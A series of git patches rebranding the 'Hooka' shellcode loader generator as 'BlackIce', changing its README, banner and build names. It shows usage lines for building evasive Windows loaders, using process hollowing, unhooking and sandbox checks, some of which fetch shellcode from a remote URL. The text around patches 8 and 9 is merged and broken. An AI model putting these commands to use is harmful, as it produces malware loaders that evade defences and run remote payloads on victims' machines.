From 2fddc95163ed5a609bf5b2458cb16152d870f050 Mon Sep 17 00:00:00 2001 From: MrDedSec <91702292+Mrdedsecurity@users.noreply.github.com> Date: Thu, 11 Dec 2025 18:47:49 +0000 Subject: [PATCH 1/9] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 67be46b..dec0272 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@

-

Hooka

+

BlackIce

Shellcode loader generator with multiples features

-
Coded with 💙 by D3Ext
+
Coded by MrDedSec (Shout out D3Ext!)

@@ -30,7 +30,7 @@ # Introduction -Hooka is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like [BokuLoader](https://github.com/boku7/BokuLoader), [Freeze](https://github.com/optiv/Freeze) or [Shhhloader](https://github.com/icyguider/Shhhloader), and it tries to implement more evasion features. Why in Golang? Although it's not the perfect language for malware dev, it works perfectly for testing purposes. Obviously if you want something professional and foolproof you should create your own loader in C++, C# or similars. +BlackIce is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like [BokuLoader](https://github.com/boku7/BokuLoader), [Freeze](https://github.com/optiv/Freeze) or [Shhhloader](https://github.com/icyguider/Shhhloader), and it tries to implement more evasion features. Why in Golang? Although it's not the perfect language for malware dev, it works perfectly for testing purposes. Obviously if you want something professional and foolproof you should create your own loader in C++, C# or similars. # Features From b7e764ae24978bb42cbc869783869b73c0031446 Mon Sep 17 00:00:00 2001 From: MrDedSec <91702292+Mrdedsecurity@users.noreply.github.com> Date: Thu, 11 Dec 2025 18:51:04 +0000 Subject: [PATCH 2/9] Update README.md --- README.md | 22 +++------------------- 1 file changed, 3 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index dec0272..c94c7be 100644 --- a/README.md +++ b/README.md @@ -10,14 +10,6 @@ - - - - - - - -

@@ -79,8 +71,8 @@ This tool is able to generate loaders with this features: Just clone the repository like this: ```sh -git clone https://github.com/D3Ext/Hooka -cd Hooka +git clone https://github.com/Mrdedsecurity/BlackIce-Loader.git +cd BlackIce-Loader make ``` @@ -90,7 +82,7 @@ After that you will find the binary under the `build/` folder > Help panel ``` -Usage of Hooka: +Usage of BlackIce: REQUIRED: -i, --input string payload to inject in raw format, as PE, as DLL or from a URL -o, --output string name of output file (i.e. loader.exe) @@ -167,12 +159,6 @@ $ hooka_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0A\tom" --computer -# TODO - -- ~~Check username and hostname before running~~ -- Add direct and indirect syscall -- Add Chacha20 cypher to encrypt shellcode - # Library The official Golang package has most of the already mentioned features and some others. To make use of it, see [here](https://github.com/D3Ext/Hooka/tree/main/examples) and [here](https://github.com/D3Ext/Hooka/tree/main/pkg/hooka) @@ -213,7 +199,5 @@ Use this project under your own responsability! The author is not responsible of This project is under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license -Copyright © 2025, *D3Ext* - From 746e97eca40ad8a7f7f413a55891b7003d6e5a90 Mon Sep 17 00:00:00 2001 From: MrDedSec <91702292+Mrdedsecurity@users.noreply.github.com> Date: Thu, 11 Dec 2025 19:11:52 +0000 Subject: [PATCH 3/9] updated readme --- README.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/README.md b/README.md index c94c7be..3598b9d 100644 --- a/README.md +++ b/README.md @@ -22,8 +22,7 @@ # Introduction -BlackIce is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like [BokuLoader](https://github.com/boku7/BokuLoader), [Freeze](https://github.com/optiv/Freeze) or [Shhhloader](https://github.com/icyguider/Shhhloader), and it tries to implement more evasion features. Why in Golang? Although it's not the perfect language for malware dev, it works perfectly for testing purposes. Obviously if you want something professional and foolproof you should create your own loader in C++, C# or similars. - +BlackIce is able to generate shellcode loaders with multiple capabilities. It is also based on Hooka (see [here](https://github.com/D3Ext/Hooka)). This tool is intended for my own learning, please no not use the tool for malicious activity. # Features This tool is able to generate loaders with this features: From 6cd3cf09532e010cb08a4cd68c821ca90b9e5b75 Mon Sep 17 00:00:00 2001 From: MrDedSec <91702292+Mrdedsecurity@users.noreply.github.com> Date: Thu, 11 Dec 2025 19:26:43 +0000 Subject: [PATCH 4/9] banner alt --- cmd/main.go | 29 +++++++++++++++++++++-------- 1 file changed, 21 insertions(+), 8 deletions(-) diff --git a/cmd/main.go b/cmd/main.go index d7a33d1..7042425 100644 --- a/cmd/main.go +++ b/cmd/main.go @@ -32,18 +32,31 @@ type LoaderTemplate struct { } // function to print the banner -func banner(){ - fmt.Println(" _ _ _ _") - fmt.Println(" | | | | ___ ___ | | __ __ _ | |") - fmt.Println(" | |_| | / _ \\ / _ \\ | |/ / / _` | | |") - fmt.Println(" | _ | | (_) | | (_) | | < | (_| | |_|") - fmt.Println(" |_| |_| \\___/ \\___/ |_|\\_\\ \\__,_| (_)") +func banner() { + fmt.Println("\033[36m") // Cyan color for ice effect + fmt.Println("╔═══════════════════════════════════════════════════════════════════╗") + fmt.Println("║ ║") + fmt.Println("║ ▄▄▄▄ ██▓ ▄▄▄ ▄████▄ ██ ▄█▀ ██▓ ▄████▄ ▓█████ ║") + fmt.Println("║ ▓█████▄ ▓██▒ ▒████▄ ▒██▀ ▀█ ██▄█▒ ▓██▒▒██▀ ▀█ ▓█ ▀ ║") + fmt.Println("║ ▒██▒ ▄██▒██░ ▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒██▒▒▓█ ▄ ▒███ ║") + fmt.Println("║ ▒██░█▀ ▒██░ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ░██░▒▓▓▄ ▄██▒▒▓█ ▄ ║") + fmt.Println("║ ░▓█ ▀█▓░██████▒▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░██░▒ ▓███▀ ░░▒████▒ ║") + fmt.Println("║ ░▒▓███▀▒░ ▒░▓ ░▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░▓ ░ ░▒ ▒ ░░░ ▒░ ░ ║") + fmt.Println("║ ▒░▒ ░ ░ ░ ▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ▒ ░ ░ ▒ ░ ░ ░ ║") + fmt.Println("║ ░ ░ ░ ░ ░ ▒ ░ ░ ░░ ░ ▒ ░░ ░ ║") + fmt.Println("║ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ║") + fmt.Println("║ ░ ░ ░ ║") + fmt.Println("║ ║") + fmt.Println("║ ░▒▓█ B L A C K I C E █▓▒░ ║") + fmt.Println("║ By MrDedSec ║") + fmt.Println("╚═══════════════════════════════════════════════════════════════════╝") + fmt.Println("\033[0m") // Reset color } // function to print the help panel func help_panel(){ fmt.Println(` -Usage of Hooka: +Usage of BlackIce: REQUIRED: -i, --input string payload to inject in raw format, as PE, as DLL or from a URL -o, --output string name of output file (i.e. loader.exe) @@ -102,7 +115,7 @@ Examples: // as the names may be a little bit confussing var techniques []string = []string{"ntcreatethreadex", "ntcreatethread", "suspendedprocess", "etwpcreateetwthread", "processhollowing", "no-rwx", "nrwx", "norwx", "ntqueueapcthreadex"} -var buffer bytes.Buffer +var buffer bytes.Buffer func main() { // define variables that will hold CLI arguments values From 8b471ab4975f90cb90d8c47c16cac58106157029 Mon Sep 17 00:00:00 2001 From: MrDedSec <91702292+Mrdedsecurity@users.noreply.github.com> Date: Thu, 11 Dec 2025 19:32:56 +0000 Subject: [PATCH 5/9] hooka -> Blackice --- Makefile | 2 +- cmd/main.go | 10 +++++----- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/Makefile b/Makefile index 38ad2fd..8129aad 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,4 @@ -EXECUTABLE=hooka +EXECUTABLE=blackice WINDOWS=$(EXECUTABLE)_windows_amd64.exe LINUX=$(EXECUTABLE)_linux_amd64 DARWIN=$(EXECUTABLE)_darwin_amd64 diff --git a/cmd/main.go b/cmd/main.go index 7042425..2f615ce 100644 --- a/cmd/main.go +++ b/cmd/main.go @@ -103,10 +103,10 @@ Usage of BlackIce: -h, --help print help panel Examples: - hooka -i shellcode.bin -o loader.exe - hooka -i http://192.168.1.126/shellcode.bin -o loader.exe - hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg - hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose + blackice -i shellcode.bin -o loader.exe + blackice -i http://192.168.1.126/shellcode.bin -o loader.exe + blackice -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg + blackice -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose `) } @@ -3247,7 +3247,7 @@ func CompileLoader(format string, output_file string, compress bool, arch string if os.IsNotExist(err) { // if it doesn't exist, then create it - mod_cmd := exec.Command("go", "mod", "init", "hooka_ldr") + mod_cmd := exec.Command("go", "mod", "init", "blackice_ldr") err = mod_cmd.Run() if err != nil { return err From e98297693b8fe263b2f1d83462c8bc078839217d Mon Sep 17 00:00:00 2001 From: MrDedSec <91702292+Mrdedsecurity@users.noreply.github.com> Date: Thu, 11 Dec 2025 19:35:23 +0000 Subject: [PATCH 6/9] readme commands examples to blackice. git clone link fixed --- README.md | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index 3598b9d..c714dbd 100644 --- a/README.md +++ b/README.md @@ -70,7 +70,7 @@ This tool is able to generate loaders with this features: Just clone the repository like this: ```sh -git clone https://github.com/Mrdedsecurity/BlackIce-Loader.git +git clone https://github.com/Mrdedsecurity/BlackIce.git cd BlackIce-Loader make ``` @@ -128,28 +128,28 @@ Usage of BlackIce: -h, --help print help panel Examples: - hooka -i shellcode.bin -o loader.exe - hooka -i http://192.168.1.126/shellcode.bin -o loader.exe - hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg - hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose + blackice -i shellcode.bin -o loader.exe + blackice -i http://192.168.1.126/shellcode.bin -o loader.exe + blackice -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg + blackice -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose ``` > Generate a simple EXE loader ```sh -$ hooka_linux_amd64 -i shellcode.bin -o loader.exe +$ blackice_linux_amd64 -i shellcode.bin -o loader.exe ``` > Generate a DLL loader ```sh -$ hooka_linux_amd64 -i shellcode.bin -o loader.dll -f dll +$ blackice_linux_amd64 -i shellcode.bin -o loader.dll -f dll ``` > Use custom config (various examples) ```sh -$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose -$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls -$ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose -$ hooka_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0A\tom" --computername "DESKTOP-E1D6G0A" --compress --strings +$ blackice_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose +$ blackice_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls +$ blackice_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose +$ blackice_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0A\tom" --computername "DESKTOP-E1D6G0A" --compress --strings ``` # Demo From 3378c415da081d82c772cadd8e5e006e8b504914 Mon Sep 17 00:00:00 2001 From: MrDedSec <91702292+Mrdedsecurity@users.noreply.github.com> Date: Thu, 11 Dec 2025 19:41:21 +0000 Subject: [PATCH 7/9] readme updated --- README.md | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index c714dbd..32165ba 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,22 @@

-

BlackIce

-

Shellcode loader generator with multiples features

-
Coded by MrDedSec (Shout out D3Ext!)
+
+▄▄▄▄    ██▓    ▄▄▄       ▄████▄   ██ ▄█▀ ██▓ ▄████▄  ▓█████ 
+▓█████▄ ▓██▒   ▒████▄    ▒██▀ ▀█   ██▄█▒ ▓██▒▒██▀ ▀█  ▓█   ▀ 
+▒██▒ ▄██▒██░   ▒██  ▀█▄  ▒▓█    ▄ ▓███▄░ ▒██▒▒▓█    ▄ ▒███   
+▒██░█▀  ▒██░   ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ░██░▒▓▓▄ ▄██▒▒▓█  ▄ 
+░▓█  ▀█▓░██████▒▓█   ▓██▒▒ ▓███▀ ░▒██▒ █▄░██░▒ ▓███▀ ░░▒████▒
+░▒▓███▀▒░ ▒░▓  ░▒▒   ▓▒█░░ ░▒ ▒  ░▒ ▒▒ ▓▒░▓  ░ ░▒ ▒  ░░░ ▒░ ░
+▒░▒   ░ ░ ░ ▒  ░ ▒   ▒▒ ░  ░  ▒   ░ ░▒ ▒░ ▒ ░  ░  ▒    ░ ░  ░
+ ░    ░   ░ ░    ░   ▒   ░        ░ ░░ ░  ▒ ░░           ░   
+ ░          ░  ░     ░  ░░ ░      ░  ░    ░  ░ ░         ░  ░
+      ░                  ░                   ░               
+

+

BlackIce

+

Shellcode loader generator with multiple features

+
Coded by MrDedSec (Shout out D3Ext!)
+

From 150a2d901766764e03e53cac709cc42ddc80e5d6 Mon Sep 17 00:00:00 2001 From: MrDedSec <91702292+Mrdedsecurity@users.noreply.github.com> Date: Thu, 11 Dec 2025 19:42:43 +0000 Subject: [PATCH 8/9] readme edit --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 32165ba..17407e3 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,5 @@

-

+
Date: Thu, 11 Dec 2025 19:44:44 +0000
Subject: [PATCH 9/9] readme update

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 17407e3..67a575e 100644
--- a/README.md
+++ b/README.md
@@ -1,5 +1,5 @@
 

-

 ▄▄▄▄    ██▓    ▄▄▄       ▄████▄   ██ ▄█▀ ██▓ ▄████▄  ▓█████ 
 ▓█████▄ ▓██▒   ▒████▄    ▒██▀ ▀█   ██▄█▒ ▓██▒▒██▀ ▀█  ▓█   ▀ 
 ▒██▒ ▄██▒██░   ▒██  ▀█▄  ▒▓█    ▄ ▓███▄░ ▒██▒▒▓█    ▄ ▒███